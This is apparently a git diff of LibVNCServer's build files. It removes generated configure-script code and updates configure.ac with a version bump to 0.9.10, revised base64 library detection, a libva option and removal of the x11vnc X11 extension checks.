- echo "with-system-libvncserver: moving aside headers $hdrs"
- for hdr in $hdrs
- do
- if test -f "rfb/$hdr"; then
- echo "with-system-libvncserver: moving rfb/$hdr to rfb/$hdr.ORIG"
- mv rfb/$hdr rfb/$hdr.ORIG
- fi
- done
- echo "with-system-libvncserver: *NOTE* move them back manually to start over."
- fi
-fi
-
-ac_config_commands="$ac_config_commands chmod-libvncserver-config"
-
-cat >confcache <<\_ACEOF
-# This file is a shell script that caches the results of configure
-# tests run on this system so they can be shared between configure
-# scripts and configure runs, see configure's option --config-cache.
-# It is not useful on other systems. If it contains results you don't
-# want to keep, you may remove or edit it.
-#
-# config.status only pays attention to the cache file if you give it
-# the --recheck option to rerun configure.
-#
-# `ac_cv_env_foo' variables (set or unset) will be overridden when
-# loading this file, other *unset* `ac_cv_foo' will be assigned the
-# following values.
-
-_ACEOF
-
-# The following way of writing the cache mishandles newlines in values,
-# but we know of no workaround that is simple, portable, and efficient.
-# So, we kill variables containing newlines.
-# Ultrix sh set writes to stderr and can't be redirected directly,
-# and sets the high bit in the cache file unless we assign to the vars.
-(
- for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do
- eval ac_val=\$$ac_var
- case $ac_val in #(
- *${as_nl}*)
- case $ac_var in #(
- *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5
-$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;;
- esac
- case $ac_var in #(
- _ | IFS | as_nl) ;; #(
- BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #(
- *) { eval $ac_var=; unset $ac_var;} ;;
- esac ;;
- esac
- done
-
- (set) 2>&1 |
- case $as_nl`(ac_space=' '; set) 2>&1` in #(
- *${as_nl}ac_space=\ *)
- # `set' does not quote correctly, so add quotes: double-quote
- # substitution turns \\\\ into \\, and sed turns \\ into \.
- sed -n \
- "s/'/'\\\\''/g;
- s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
- ;; #(
- *)
- # `set' quotes correctly as required by POSIX, so do not add quotes.
- sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p"
- ;;
- esac |
- sort
-) |
- sed '
- /^ac_cv_env_/b end
- t clear
- :clear
- s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
- t end
- s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
- :end' >>confcache
-if diff "$cache_file" confcache >/dev/null 2>&1; then :; else
- if test -w "$cache_file"; then
- if test "x$cache_file" != "x/dev/null"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5
-$as_echo "$as_me: updating cache $cache_file" >&6;}
- if test ! -f "$cache_file" || test -h "$cache_file"; then
- cat confcache >"$cache_file"
- else
- case $cache_file in #(
- */* | ?:*)
- mv -f confcache "$cache_file"$$ &&
- mv -f "$cache_file"$$ "$cache_file" ;; #(
- *)
- mv -f confcache "$cache_file" ;;
- esac
- fi
- fi
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5
-$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;}
- fi
-fi
-rm -f confcache
-
-test "x$prefix" = xNONE && prefix=$ac_default_prefix
-# Let make expand exec_prefix.
-test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
-
-DEFS=-DHAVE_CONFIG_H
-
-ac_libobjs=
-ac_ltlibobjs=
-U=
-for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue
- # 1. Remove the extension, and $U if already installed.
- ac_script='s/\$U\././;s/\.o$//;s/\.obj$//'
- ac_i=`$as_echo "$ac_i" | sed "$ac_script"`
- # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR
- # will be set to the directory where LIBOBJS objects are built.
- as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext"
- as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo'
-done
-LIBOBJS=$ac_libobjs
-
-LTLIBOBJS=$ac_ltlibobjs
-
-
- if test -n "$EXEEXT"; then
- am__EXEEXT_TRUE=
- am__EXEEXT_FALSE='#'
-else
- am__EXEEXT_TRUE='#'
- am__EXEEXT_FALSE=
-fi
-
-if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
- as_fn_error $? "conditional \"AMDEP\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCXX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_FFMPEG_TRUE}" && test -z "${WITH_FFMPEG_FALSE}"; then
- as_fn_error $? "conditional \"WITH_FFMPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_MP3LAME_TRUE}" && test -z "${HAVE_MP3LAME_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_MP3LAME\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSSL_TRUE}" && test -z "${HAVE_LIBSSL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSSL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_X11_TRUE}" && test -z "${HAVE_X11_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_X11\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${OSX_OPENGL_TRUE}" && test -z "${OSX_OPENGL_FALSE}"; then
- as_fn_error $? "conditional \"OSX_OPENGL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_SYSTEM_LIBVNCSERVER_TRUE}" && test -z "${HAVE_SYSTEM_LIBVNCSERVER_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_SYSTEM_LIBVNCSERVER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPTHREAD_TRUE}" && test -z "${HAVE_LIBPTHREAD_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPTHREAD\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_TIGHTVNC_FILETRANSFER_TRUE}" && test -z "${WITH_TIGHTVNC_FILETRANSFER_FALSE}"; then
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-cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1
-
-# Handling of arguments.
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- "rfb/rfbconfig.h") CONFIG_COMMANDS="$CONFIG_COMMANDS rfb/rfbconfig.h" ;;
- "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
- "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;;
- "libvncserver.pc") CONFIG_FILES="$CONFIG_FILES libvncserver.pc" ;;
- "libvncclient.pc") CONFIG_FILES="$CONFIG_FILES libvncclient.pc" ;;
- "libvncserver/Makefile") CONFIG_FILES="$CONFIG_FILES libvncserver/Makefile" ;;
- "examples/Makefile") CONFIG_FILES="$CONFIG_FILES examples/Makefile" ;;
- "examples/android/Makefile") CONFIG_FILES="$CONFIG_FILES examples/android/Makefile" ;;
- "vncterm/Makefile") CONFIG_FILES="$CONFIG_FILES vncterm/Makefile" ;;
- "webclients/Makefile") CONFIG_FILES="$CONFIG_FILES webclients/Makefile" ;;
- "webclients/java-applet/Makefile") CONFIG_FILES="$CONFIG_FILES webclients/java-applet/Makefile" ;;
- "webclients/java-applet/ssl/Makefile") CONFIG_FILES="$CONFIG_FILES webclients/java-applet/ssl/Makefile" ;;
- "libvncclient/Makefile") CONFIG_FILES="$CONFIG_FILES libvncclient/Makefile" ;;
- "client_examples/Makefile") CONFIG_FILES="$CONFIG_FILES client_examples/Makefile" ;;
- "test/Makefile") CONFIG_FILES="$CONFIG_FILES test/Makefile" ;;
- "libvncserver-config") CONFIG_FILES="$CONFIG_FILES libvncserver-config" ;;
- "LibVNCServer.spec") CONFIG_FILES="$CONFIG_FILES LibVNCServer.spec" ;;
- "x11vnc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/Makefile" ;;
- "x11vnc/misc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/misc/Makefile" ;;
- "x11vnc/misc/turbovnc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/misc/turbovnc/Makefile" ;;
- "chmod-libvncserver-config") CONFIG_COMMANDS="$CONFIG_COMMANDS chmod-libvncserver-config" ;;
-
- *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;;
- esac
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-
-
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-
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-{
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-{
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-{
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-ac_tmp=$tmp
-
-# Set up the scripts for CONFIG_FILES section.
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-
-ac_cr=`echo X | tr X '\015'`
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-
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-{
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-
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-n
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- len += length(value) + length(field[++i])
- substed = 1
- } else
- len += 1 + keylen
- }
-
- print line
-}
-
-_ACAWK
-_ACEOF
-cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1
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- fi
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-ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]*
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-{ print }
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- X"$_am_arg" : 'X\(//\)$' \| \
- X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X"$_am_arg" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`/stamp-h$_am_stamp_count
- ;;
-
- :C) { $as_echo "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5
-$as_echo "$as_me: executing $ac_file commands" >&6;}
- ;;
- esac
-
-
- case $ac_file$ac_mode in
- "rfb/rfbconfig.h":C) ac_prefix_conf_OUT=`echo rfb/rfbconfig.h`
-ac_prefix_conf_DEF=`echo _$ac_prefix_conf_OUT | sed -e "y:abcdefghijklmnopqrstuvwxyz:ABCDEFGHIJKLMNOPQRSTUVWXYZ:" -e "s/[^abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]/_/g"`
-ac_prefix_conf_PKG=`echo $PACKAGE`
-ac_prefix_conf_LOW=`echo _$ac_prefix_conf_PKG | sed -e "y:ABCDEFGHIJKLMNOPQRSTUVWXYZ-:abcdefghijklmnopqrstuvwxyz_:"`
-ac_prefix_conf_UPP=`echo $ac_prefix_conf_PKG | sed -e "y:abcdefghijklmnopqrstuvwxyz-:ABCDEFGHIJKLMNOPQRSTUVWXYZ_:" -e "/^[0123456789]/s/^/_/"`
-ac_prefix_conf_INP=`echo _`
-if test "$ac_prefix_conf_INP" = "_"; then
- for ac_file in : $CONFIG_HEADERS; do test "_$ac_file" = _: && continue
- test -f "$ac_prefix_conf_INP" && continue
- case $ac_file in
- *.h) test -f $ac_file && ac_prefix_conf_INP=$ac_file ;;
- *)
- esac
- done
-fi
-if test "$ac_prefix_conf_INP" = "_"; then
- case "$ac_prefix_conf_OUT" in
- */*) ac_prefix_conf_INP=`basename "$ac_prefix_conf_OUT"`
- ;;
- *-*) ac_prefix_conf_INP=`echo "$ac_prefix_conf_OUT" | sed -e "s/[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_]*-//"`
- ;;
- *) ac_prefix_conf_INP=config.h
- ;;
- esac
-fi
-if test -z "$ac_prefix_conf_PKG" ; then
- as_fn_error $? "no prefix for _PREFIX_PKG_CONFIG_H" "$LINENO" 5
-else
- if test ! -f "$ac_prefix_conf_INP" ; then if test -f "$srcdir/$ac_prefix_conf_INP" ; then
- ac_prefix_conf_INP="$srcdir/$ac_prefix_conf_INP"
- fi fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_prefix_conf_OUT - prefix $ac_prefix_conf_UPP for $ac_prefix_conf_INP defines" >&5
-$as_echo "$as_me: creating $ac_prefix_conf_OUT - prefix $ac_prefix_conf_UPP for $ac_prefix_conf_INP defines" >&6;}
- if test -f $ac_prefix_conf_INP ; then
- echo "s/#undef *\\([ABCDEFGHIJKLMNOPQRSTUVWXYZ_]\\)/#undef $ac_prefix_conf_UPP""_\\1/" > conftest.prefix
- # no! these are things like socklen_t, const, vfork
- # echo "s/#undef *\\([m4_cr_letters]\\)/#undef $_LOW""_\\1/" >> _script
- echo "s/#define *\\([ABCDEFGHIJKLMNOPQRSTUVWXYZ_][abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_]*\\)\\(.*\\)/#ifndef $ac_prefix_conf_UPP""_\\1 \\" >> conftest.prefix
- echo "#define $ac_prefix_conf_UPP""_\\1 \\2 \\" >> conftest.prefix
- echo "#endif/" >>conftest.prefix
- # no! these are things like socklen_t, const, vfork
- # echo "s/#def[]ine *\\([m4_cr_letters][_symbol]*\\)\\(.*\\)/#ifndef $_LOW""_\\1 \\" >> _script
- # echo "#define $_LOW""_\\1 \\2 \\" >> _script
- # echo "#endif/" >> _script
- # now executing _script on _DEF input to create _OUT output file
- echo "#ifndef $ac_prefix_conf_DEF" >$tmp/pconfig.h
- echo "#define $ac_prefix_conf_DEF 1" >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
- echo /'*' $ac_prefix_conf_OUT. Generated automatically at end of configure. '*'/ >>$tmp/pconfig.h
-
- sed -f conftest.prefix $ac_prefix_conf_INP >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
- echo '/* once:' $ac_prefix_conf_DEF '*/' >>$tmp/pconfig.h
- echo "#endif" >>$tmp/pconfig.h
- if cmp -s $ac_prefix_conf_OUT $tmp/pconfig.h 2>/dev/null; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: $ac_prefix_conf_OUT is unchanged" >&5
-$as_echo "$as_me: $ac_prefix_conf_OUT is unchanged" >&6;}
- else
- ac_dir=`$as_dirname -- "$ac_prefix_conf_OUT" ||
-$as_expr X"$ac_prefix_conf_OUT" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
- X"$ac_prefix_conf_OUT" : 'X\(//\)[^/]' \| \
- X"$ac_prefix_conf_OUT" : 'X\(//\)$' \| \
- X"$ac_prefix_conf_OUT" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X"$ac_prefix_conf_OUT" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
- as_dir="$ac_dir"; as_fn_mkdir_p
- rm -f "$ac_prefix_conf_OUT"
- mv $tmp/pconfig.h "$ac_prefix_conf_OUT"
- fi
- cp conftest.prefix _configs.sed
- else
- as_fn_error $? "input file $ac_prefix_conf_INP does not exist - skip generating $ac_prefix_conf_OUT" "$LINENO" 5
- fi
- rm -f conftest.*
-fi
- ;;
- "depfiles":C) test x"$AMDEP_TRUE" != x"" || {
- # Autoconf 2.62 quotes --file arguments for eval, but not when files
- # are listed without --file. Let's play safe and only enable the eval
- # if we detect the quoting.
- case $CONFIG_FILES in
- *\'*) eval set x "$CONFIG_FILES" ;;
- *) set x $CONFIG_FILES ;;
- esac
- shift
- for mf
- do
- # Strip MF so we end up with the name of the file.
- mf=`echo "$mf" | sed -e 's/:.*$//'`
- # Check whether this is an Automake generated Makefile or not.
- # We used to match only the files named `Makefile.in', but
- # some people rename them; so instead we look at the file content.
- # Grep'ing the first line is not enough: some people post-process
- # each Makefile.in and add a new line on top of each file to say so.
- # Grep'ing the whole file is not good either: AIX grep has a line
- # limit of 2048, but all sed's we know have understand at least 4000.
- if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then
- dirpart=`$as_dirname -- "$mf" ||
-$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
- X"$mf" : 'X\(//\)[^/]' \| \
- X"$mf" : 'X\(//\)$' \| \
- X"$mf" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X"$mf" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
- else
- continue
- fi
- # Extract the definition of DEPDIR, am__include, and am__quote
- # from the Makefile without running `make'.
- DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"`
- test -z "$DEPDIR" && continue
- am__include=`sed -n 's/^am__include = //p' < "$mf"`
- test -z "am__include" && continue
- am__quote=`sed -n 's/^am__quote = //p' < "$mf"`
- # When using ansi2knr, U may be empty or an underscore; expand it
- U=`sed -n 's/^U = //p' < "$mf"`
- # Find all dependency output files, they are included files with
- # $(DEPDIR) in their names. We invoke sed twice because it is the
- # simplest approach to changing $(DEPDIR) to its actual value in the
- # expansion.
- for file in `sed -n "
- s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \
- sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
- # Make sure the directory exists.
- test -f "$dirpart/$file" && continue
- fdir=`$as_dirname -- "$file" ||
-$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
- X"$file" : 'X\(//\)[^/]' \| \
- X"$file" : 'X\(//\)$' \| \
- X"$file" : 'X\(/\)' \| . 2>/dev/null ||
-$as_echo X"$file" |
- sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{
- s//\1/
- q
- }
- /^X\(\/\/\)[^/].*/{
- s//\1/
- q
- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
- as_dir=$dirpart/$fdir; as_fn_mkdir_p
- # echo "creating $dirpart/$file"
- echo '# dummy' > "$dirpart/$file"
- done
- done
-}
- ;;
- "chmod-libvncserver-config":C) chmod a+x libvncserver-config ;;
-
- esac
-done # for ac_tag
-
-
-as_fn_exit 0
-_ACEOF
-ac_clean_files=$ac_clean_files_save
-
-test $ac_write_fail = 0 ||
- as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5
-
-
-# configure is writing to config.log, and then calls config.status.
-# config.status does its own redirection, appending to config.log.
-# Unfortunately, on DOS this fails, as config.log is still kept open
-# by configure, so config.status won't be able to write to it; its
-# output is simply discarded. So we exec the FD to /dev/null,
-# effectively closing config.log, so it can be properly (re)opened and
-# appended to by config.status. When coming back to configure, we
-# need to make the FD available again.
-if test "$no_create" != yes; then
- ac_cs_success=:
- ac_config_status_args=
- test "$silent" = yes &&
- ac_config_status_args="$ac_config_status_args --quiet"
- exec 5>/dev/null
- $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false
- exec 5>>config.log
- # Use ||, not &&, to avoid exiting from the if with $? = 1, which
- # would make configure fail if this is the last instruction.
- $ac_cs_success || as_fn_exit 1
-fi
-if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5
-$as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;}
-fi
-
-chmod a+x ./libvncserver-config
-
diff --git a/configure.ac b/configure.ac
index 2eaa46a..ca9f3b3 100644
--- a/configure.ac
+++ b/configure.ac
@@ -1,9 +1,16 @@
# Process this file with autoconf to produce a configure script.
-AC_INIT(LibVNCServer, 0.9.9, http://sourceforge.net/projects/libvncserver)
-AM_INIT_AUTOMAKE(LibVNCServer, 0.9.9)
+AC_INIT(LibVNCServer, 0.9.10, https://github.com/LibVNC/libvncserver)
+AM_INIT_AUTOMAKE([subdir-objects])
m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])])
AM_CONFIG_HEADER(rfbconfig.h)
AX_PREFIX_CONFIG_H([rfb/rfbconfig.h])
+AC_CONFIG_MACRO_DIR([m4])
+
+
+# set detailed version info
+AC_DEFINE(VERSION_MAJOR, 0, LibVNCServer major version)
+AC_DEFINE(VERSION_MINOR, 9, LibVNCServer minor version)
+AC_DEFINE(VERSION_PATCHLEVEL, 10, LibVNCServer patchlevel)
# Checks for programs.
AC_PROG_CC
@@ -28,7 +35,16 @@
# AC_DEFINE moved to after libpthread check.
# WebSockets support
-AC_CHECK_LIB(resolv, __b64_ntop, HAVE_B64="true", HAVE_B64="false")
+AC_CHECK_FUNC(__b64_ntop, HAVE_B64_IN_LIBC="true", HAVE_B64_IN_LIBC="false")
+if test "x$HAVE_B64_IN_LIBC" != "xtrue"; then
+ AC_CHECK_LIB(resolv, __b64_ntop, HAVE_B64_IN_LIBRESOLV="true", HAVE_B64_IN_LIBRESOLV="false")
+ if test "x$HAVE_B64_IN_LIBRESOLV" = "xtrue"; then
+ RESOLV_LIB="-lresolv"
+ HAVE_B64="true"
+ fi
+else
+ HAVE_B64="true"
+fi
AH_TEMPLATE(WITH_WEBSOCKETS, [Disable WebSockets support])
AC_ARG_WITH(websockets,
[ --without-websockets disable WebSockets support],
@@ -132,391 +148,20 @@
AC_SUBST(SSL_LIBS)
AM_CONDITIONAL(HAVE_LIBSSL, test ! -z "$SSL_LIBS")
-# Checks for X libraries
-HAVE_X11="false"
-AC_PATH_XTRA
-AH_TEMPLATE(HAVE_X11, [X11 build environment present])
-# See if we are to build x11vnc:
-AH_TEMPLATE(HAVE_SYSTEM_LIBVNCSERVER, [Use the system libvncserver build environment for x11vnc.])
-AC_ARG_WITH(system-libvncserver,
-[ --with-system-libvncserver use installed libvncserver for x11vnc]
-[ --with-system-libvncserver=DIR use libvncserver installed in DIR for x11vnc],,)
-AC_ARG_WITH(x11vnc,
-[ --with-x11vnc configure for building the x11vnc subdir (if present)]
-[ you will need to cd to x11vnc and run 'make' etc.],,)
-
-if test ! -z "$with_x11vnc" -a "$with_x11vnc" = "yes"; then
- build_x11vnc="yes"
-elif test "$PACKAGE_NAME" = "x11vnc"; then
- build_x11vnc="yes"
-else
- build_x11vnc="no"
+# See if we want libva support
+# TODO: check if library actually exists
+AH_TEMPLATE(CONFIG_LIBVA, [Build libva support])
+AC_ARG_WITH(libva,
+[ --with-libva build libva support],,)
+if test "x$with_libva" != "xno"; then
+ AC_CHECK_LIB(va, vaInitialize,
+ VA_LIBS="-lva -lva-x11"
+ [AC_DEFINE(CONFIG_LIBVA) CONFIG_LIBVA="true"], ,)
fi
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
+AC_SUBST(VA_LIBS)
+AM_CONDITIONAL(CONFIG_LIBVA, test ! -z "$VA_LIBS")
-AH_TEMPLATE(HAVE_XSHM, [MIT-SHM extension build environment present])
-AH_TEMPLATE(HAVE_XTEST, [XTEST extension build environment present])
-AH_TEMPLATE(HAVE_XTESTGRABCONTROL, [XTEST extension has XTestGrabControl])
-AH_TEMPLATE(HAVE_XKEYBOARD, [XKEYBOARD extension build environment present])
-AH_TEMPLATE(HAVE_LIBXINERAMA, [XINERAMA extension build environment present])
-AH_TEMPLATE(HAVE_LIBXRANDR, [XRANDR extension build environment present])
-AH_TEMPLATE(HAVE_LIBXFIXES, [XFIXES extension build environment present])
-AH_TEMPLATE(HAVE_LIBXDAMAGE, [XDAMAGE extension build environment present])
-AH_TEMPLATE(HAVE_LIBXTRAP, [DEC-XTRAP extension build environment present])
-AH_TEMPLATE(HAVE_RECORD, [RECORD extension build environment present])
-AH_TEMPLATE(HAVE_SOLARIS_XREADSCREEN, [Solaris XReadScreen available])
-AH_TEMPLATE(HAVE_IRIX_XREADDISPLAY, [IRIX XReadDisplay available])
-AH_TEMPLATE(HAVE_FBPM, [FBPM extension build environment present])
-AH_TEMPLATE(HAVE_DPMS, [DPMS extension build environment present])
-AH_TEMPLATE(HAVE_LINUX_VIDEODEV_H, [video4linux build environment present])
-AH_TEMPLATE(HAVE_LINUX_FB_H, [linux fb device build environment present])
-AH_TEMPLATE(HAVE_LINUX_INPUT_H, [linux/input.h present])
-AH_TEMPLATE(HAVE_LINUX_UINPUT_H, [linux uinput device build environment present])
-AH_TEMPLATE(HAVE_MACOSX_NATIVE_DISPLAY, [build MacOS X native display support])
-AH_TEMPLATE(HAVE_MACOSX_OPENGL_H, [MacOS X OpenGL present])
-
-AC_ARG_WITH(xkeyboard,
-[ --without-xkeyboard disable xkeyboard extension support],,)
-AC_ARG_WITH(xinerama,
-[ --without-xinerama disable xinerama extension support],,)
-AC_ARG_WITH(xrandr,
-[ --without-xrandr disable xrandr extension support],,)
-AC_ARG_WITH(xfixes,
-[ --without-xfixes disable xfixes extension support],,)
-AC_ARG_WITH(xdamage,
-[ --without-xdamage disable xdamage extension support],,)
-AC_ARG_WITH(xtrap,
-[ --without-xtrap disable xtrap extension support],,)
-AC_ARG_WITH(xrecord,
-[ --without-xrecord disable xrecord extension support],,)
-AC_ARG_WITH(fbpm,
-[ --without-fbpm disable fbpm extension support],,)
-AC_ARG_WITH(dpms,
-[ --without-dpms disable dpms extension support],,)
-AC_ARG_WITH(v4l,
-[ --without-v4l disable video4linux support],,)
-AC_ARG_WITH(fbdev,
-[ --without-fbdev disable linux fb device support],,)
-AC_ARG_WITH(uinput,
-[ --without-uinput disable linux uinput device support],,)
-AC_ARG_WITH(macosx-native,
-[ --without-macosx-native disable MacOS X native display support],,)
-
-fi
-# end x11vnc only.
-
-if test "x$with_x" = "xno"; then
- HAVE_X11="false"
-elif test "$X_CFLAGS" != "-DX_DISPLAY_MISSING"; then
- AC_CHECK_LIB(X11, XGetImage, [AC_DEFINE(HAVE_X11) HAVE_X11="true"],
- HAVE_X11="false",
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
-
- # x11vnc only:
- if test $HAVE_X11 = "true" -a "$build_x11vnc" = "yes"; then
- X_PRELIBS="$X_PRELIBS -lXext"
-
- AC_CHECK_LIB(Xext, XShmGetImage,
- [AC_DEFINE(HAVE_XSHM)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
-
- AC_CHECK_LIB(Xext, XReadScreen,
- [AC_DEFINE(HAVE_SOLARIS_XREADSCREEN)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
-
- AC_CHECK_HEADER(X11/extensions/readdisplay.h,
- [AC_DEFINE(HAVE_IRIX_XREADDISPLAY)], ,
- [#include <X11/Xlib.h>])
-
- if test "x$with_fbpm" != "xno"; then
- AC_CHECK_LIB(Xext, FBPMForceLevel,
- [AC_DEFINE(HAVE_FBPM)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- if test "x$with_dpms" != "xno"; then
- AC_CHECK_LIB(Xext, DPMSForceLevel,
- [AC_DEFINE(HAVE_DPMS)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- AC_CHECK_LIB(Xtst, XTestGrabControl,
- X_PRELIBS="-lXtst $X_PRELIBS"
- [AC_DEFINE(HAVE_XTESTGRABCONTROL) HAVE_XTESTGRABCONTROL="true"], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
-
- AC_CHECK_LIB(Xtst, XTestFakeKeyEvent,
- X_PRELIBS="-lXtst $X_PRELIBS"
- [AC_DEFINE(HAVE_XTEST) HAVE_XTEST="true"], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
-
- if test "x$with_xrecord" != "xno"; then
- AC_CHECK_LIB(Xtst, XRecordEnableContextAsync,
- X_PRELIBS="-lXtst $X_PRELIBS"
- [AC_DEFINE(HAVE_RECORD)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
-
- # we use XTRAP on X11R5, or user can set X11VNC_USE_XTRAP
- if test "x$with_xtrap" != "xno"; then
- if test ! -z "$X11VNC_USE_XTRAP" -o -z "$HAVE_XTESTGRABCONTROL"; then
- AC_CHECK_LIB(XTrap, XETrapSetGrabServer,
- X_PRELIBS="$X_PRELIBS -lXTrap"
- [AC_DEFINE(HAVE_LIBXTRAP)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- # tru64 uses libXETrap.so
- AC_CHECK_LIB(XETrap, XETrapSetGrabServer,
- X_PRELIBS="$X_PRELIBS -lXETrap"
- [AC_DEFINE(HAVE_LIBXTRAP)], ,
- $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS)
- fi
- fi
-
- if test "x$with_xkeyboard" != "xno"; then
- saved_CPPFLAGS="$CPPFLAGS"
- CPPFLAGS="$CPPFLAGS $X_CFLAGS"
- AC_CHECK_HEADER(X11/XKBlib.h, HAVE_XKBLIB_H="true",
- HAVE_XKBLIB_H="false", [#include <X11/Xlib.h>])
- CPPFLAGS="$saved_CPPFLAGS"
- if test $HAVE_XKBLIB_H = "true"; then
- AC_CHECK_LIB(X11, XkbSelectEvents,
- [AC_DEFINE(HAVE_XKEYBOARD)], ,
